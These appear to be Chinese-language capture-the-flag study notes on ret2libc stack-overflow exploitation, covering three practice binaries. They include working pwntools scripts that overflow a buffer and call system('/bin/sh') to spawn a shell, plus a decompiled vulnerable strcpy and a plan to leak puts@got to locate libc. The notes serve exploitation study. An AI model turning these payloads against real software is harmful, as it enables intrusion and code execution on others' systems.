ret2libc
ret2libc
对于这种动态执行文件,本地能利用的完整的gadget很少,不像ret2syscall(用分散的gadget连接起来拼成内核的system系统调用汇编代码段),
更不能ret2test因为没有可直接用的system函数,ret2shellcode也不行因为没有可执行的段
若程序未调用某函数,即使在动态链接库有,但也不会出现在plt和got表项中
传递的参数应为指针即地址值,实际存在readonlydata段
ret2libc1
payload
查bss,data段地址
脚本
from pwn import *
elf=ELF("./ret2libc1")
io=process("./ret2libc1")
io.recvline()
system_plt=0x08048460
bin_sh=next(elf.search(b"/bin/sh"))
payload=b'A'*112+p32(system_plt)+b'A'*4+p32(bin_sh)
io.sendline(payload)
io.interactive()
ret2libc2
payload结构
解释:第一个buf2是函数get的第一个参数,第二个buf2是函数system的第一个参数
脚本
from pwn import *
#elf=ELF("./ret2libc2")
io=process("./ret2libc2")
#io.recvline()
io.recvline()
system_plt=0x08048490#system_plt=elf.plt["system"]
get_plt=0x08048460
buf2_addr=0x0804A080#buf2_addr=elf.symbols["buf2"]查变量地址
#bin_sh=next(elf.search(b"/bin/sh"))
payload=b'A'*112+p32(get_plt)+p32(system_plt)+p32(buf2_addr)+p32(buf2_addr)
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
ret2libc3
分析:
既没有system函数,亦没有"/bin/sh"字符串,有NX保护,数据段和结合栈不可执行,判断这个题目要用到ret2libc的方法。
记住我们的目标:找到system()函数和"/bin/sh"字符串的真实地址。如何找,有一个思路,因为step2.system_real_addr=base_libc_addr+offset_system_addr. 这里,只需求base_libc_addr,因为libc库中存放的就是函数们的偏移地址,offset_system_addr可以通过elf文件的libc中找出(代码如libc = elf.libc,offset_system_addr=libc.symbols['system'])
故step1.只需求base_libc_addr,而base_libc_addr=real_puts_addr-offset_puts_addr,故通过泄露puts真实地址来得到libc的基址
注意:
只有动态库libc中的函数在被调用时,才会进行地址解析和重定位工作,也就是说,只有函数发生调用之后,上图中最右侧的两个箭头才建立完成,我们才能够通过got表读取到libc中的函数
延迟绑定:
PLT表中的入口函数地址是指向自身的,当第一次调用某个外部函数时,会跳转到PLT表,执行桩函数来解析真正的外部函数地址,并更新GOT表中对应函数的地址,之后就直接跳转到该外部函数的真正地址
栈ROP链
int fflush(FILE *stream);
stdout
stdint
标准输出编号
0xAu u表示unsigned int 2^32 bit
0xA signed int -2^31~2^31
ret2libc3_
main反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
int v8; // [esp+11Ch] [ebp-4h]
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 0xAu);
v8 = strtol(&buf, v3, v4);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 0x100u);
Print_message(&src);
puts("Thanks you ~");
return 0;
}
int __cdecl Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h]
// 漏洞处,dest的大小和src大小不一致
strcpy(&dest, src);
return printf("Your message is : %s", &dest);
}
1、首先分析程序架构和保护措施。
2、使用IDA开始判断程序是否具备最简单的栈溢出执行条件:
- ret2text:不具备,没有shell可执行代码
- ret2shellcode:不具备写入全局区域的入口
- 没有bin/bash可用,也没有system函数可以调用
- 没有完整gadget构造链
细节处:要给程序一个地址,然后让他给我们该地址对应的地方的值,因此我们给他puts@got
的地址0x804a01c
,但是程序使用了strtol(&buf, v3, v4)
,因此我们要转换成10进制134520860
,然后一路执行完see_somethin